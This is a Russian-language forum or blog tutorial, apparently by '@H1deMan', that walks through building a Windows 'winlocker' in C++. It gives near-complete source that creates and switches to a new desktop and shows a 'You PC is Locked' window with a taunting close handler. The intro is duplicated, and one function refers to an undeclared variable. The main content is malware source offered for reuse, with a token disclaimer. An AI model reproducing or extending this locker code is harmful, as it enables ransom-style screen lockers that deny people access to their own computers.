Добрый день ребят, сегодня побеседуем на тему winloker’ов (далее wL).
Да, как вы заметили, обзавелся личным блогом, хоть и на бесплатной площадке (позже перенесу).
Все мы помним старые добрые 2006-2010 года когда wL были у каждого школьника, после такого всплеска популярности этот вид малвари я уже не мог называть таковой, так как не троян то что может использовать каждый. Да и АВ уже детектили в любом его виде . Сегодня же мы напишем новый(возможно для кого-то эта тема давно известна) winlock для windows xp — 10.
Инструменты:
— Visual Studio 2015-19 (я использую бета версию 2019)
— Прямые ручки (как обычно).
Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Запускаем студию, создаем пустой проект C++, в настройках проекта указываем точку входа WinMain и выбираем приложение как exe.
И так начнем. Первым делом подключаем инклуды:
Объявим несколько переменных:
Переходим к нашей WinMain
Опишем функцию CreateDesk()
Теперь опишем функцию OnPaint()
Хочу заметить что позицию текста (x&y) нужно вымерять от верхнего левого угла КЛИЕНТСКОЙ части окна.
Следующая функция StartWindow() тут мы и будем создавать само окно
Ну и коллбек функция которая будет принимать сообщения (нажатия, отрисовка, клики, создание окно и т.д.)
Ну что посмотрим что у нас вышло?
При нажатии кнопки Unlock выйдет на наш рабочий стол.
С вами был ваш @H1deMan
Да, как вы заметили, обзавелся личным блогом, хоть и на бесплатной площадке (позже перенесу).
Все мы помним старые добрые 2006-2010 года когда wL были у каждого школьника, после такого всплеска популярности этот вид малвари я уже не мог называть таковой, так как не троян то что может использовать каждый. Да и АВ уже детектили в любом его виде . Сегодня же мы напишем новый(возможно для кого-то эта тема давно известна) winlock для windows xp — 10.
Инструменты:
— Visual Studio 2015-19 (я использую бета версию 2019)
— Прямые ручки (как обычно).
Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Запускаем студию, создаем пустой проект C++, в настройках проекта указываем точку входа WinMain и выбираем приложение как exe.
И так начнем. Первым делом подключаем инклуды:
C++:
#include <windows.h>
#include "WinCrash.h"
#include <gdiplus.h>
#include <stdio.h>
#pragma comment (lib, "gdiplus.lib")
//подключаем пространство имен
using namespace Gdiplus;
Объявим несколько переменных:
C++:
//ширина формы
#define widht 500
//высота формы
#define height 300
//наши десктопы (немного позже поймете для чего)
HDESK original_desktop, two_desktop;
//функция обратного вызова для формы
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//тут мы будем запускать наше окно с требованиями
int StartWindow(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow);
//немного покажу как рисовать в окнах
VOID OnPaint(HDC hdc);
//функция создания нового стола
HDESK CreateDesk(const char* desktop_name);
Переходим к нашей WinMain
C++:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
//создаем новый рабочий стол с именем "111"(можно указать любое)
two_desktop = CreateDesk("111");
//получаем HDESK оригинального стола (чтобы потом вернуться)
original_desktop = GetThreadDesktop(GetCurrentThreadId());
//данная функция передает управление программой указанному столу
SetThreadDesktop(two_desktop );
//открываем созданный рабочий стол
SwitchDesktop(two_desktop );
//запускаем наше окно уже в новом столе
StartWindow(hInstance, hPrevInstance, lpCmdLine, nCmdShow);
}
Опишем функцию CreateDesk()
C++:
HDESK CreateDesk(const char* desktop_name)
{
HDESK desktop = NULL, original_desktop;
//пробуем открыть стол с таким названием
desktop = OpenDesktopA(desktop_name, NULL, TRUE, GENERIC_ALL);
if (!hidden_desktop)
{
//если стола нет то создаем новый
desktop = CreateDesktopA(desktop_name, NULL, NULL, 0, GENERIC_ALL, NULL);
if (desktop)
{
original_desktop = GetThreadDesktop(GetCurrentThreadId());
}
}
return desktop;
}
Теперь опишем функцию OnPaint()
C++:
VOID OnPaint(HDC hdc)
{
Graphics graphics(hdc);
SolidBrush brush(Color(200, 0, 0, 200)); //выбираем цвет нашей формы
FontFamily fontFamily(L"Times New Roman");//шрифт текста
Font font(&fontFamily, 24, FontStyleRegular, UnitPixel);
PointF pointF(10.0f, 20.0f);//позиция текста
graphics.DrawString(L"You PC is Locked. Click on button to Unlock.", -1, &font, pointF, &brush);
}
Следующая функция StartWindow() тут мы и будем создавать само окно
C++:
int StartWindow(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
//про параметры WNDCLASSEX стоит почитать на мсдн ибо статья затянется.
WNDCLASSEX windowClass;
HWND hWnd;
MSG uMsg;
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
memset(&windowClass, 0, sizeof(WNDCLASSEXW));
windowClass.cbSize = sizeof(WNDCLASSEX);
windowClass.hbrBackground = (HBRUSH)GetStockObject(GRAY_BRUSH);
windowClass.hCursor = LoadCursor(NULL, IDC_ARROW);
windowClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
windowClass.hInstance = hInstance;
windowClass.lpfnWndProc = WndProc;
windowClass.lpszClassName = L"Simple Window";
RegisterClassEx(&windowClass);
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
hWnd = CreateWindow(windowClass.lpszClassName, L"You Locked", WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX, (GetSystemMetrics(SM_CXSCREEN) - widht) / 2, (GetSystemMetrics(SM_CYSCREEN) - height) / 2, widht, height, NULL, NULL, NULL, NULL);
ShowWindow(hWnd, nCmdShow);
while (GetMessage(&uMsg, hWnd, NULL, NULL))
{
TranslateMessage(&uMsg);
DispatchMessage(&uMsg);
}
return uMsg.wParam;
}
Ну и коллбек функция которая будет принимать сообщения (нажатия, отрисовка, клики, создание окно и т.д.)
C++:
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hDC;
PAINTSTRUCT ps;
switch (message)
{
case WM_CREATE://создаем кнопочку и назначаем ей ид 1
CreateWindowA("BUTTON", "Unlock", WS_CHILD | WS_VISIBLE, 200, 220, 60, 30, hWnd, (HMENU)1, NULL, NULL);
break;
case WM_COMMAND://тут принимаем команды от контролов
switch (wParam)
{
case 1://как мы помним 1 - это наша кнопка
//восстанавливаем оригинальный стол
SwitchDesktop(original_desktop);
ExitProcess(0);
break;
}
break;
case WM_CLOSE://сообщение при закрытии окна
//будем выводить MessageBox
MessageBoxA(hWnd, "Kiss my ass!", "", MB_OK);
break;
case WM_PAINT://сообщение рисования окна
hDC = BeginPaint(hWnd, &ps);
OnPaint(hDC);
EndPaint(hWnd, &ps);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
При нажатии кнопки Unlock выйдет на наш рабочий стол.
С вами был ваш @H1deMan
Последнее редактирование: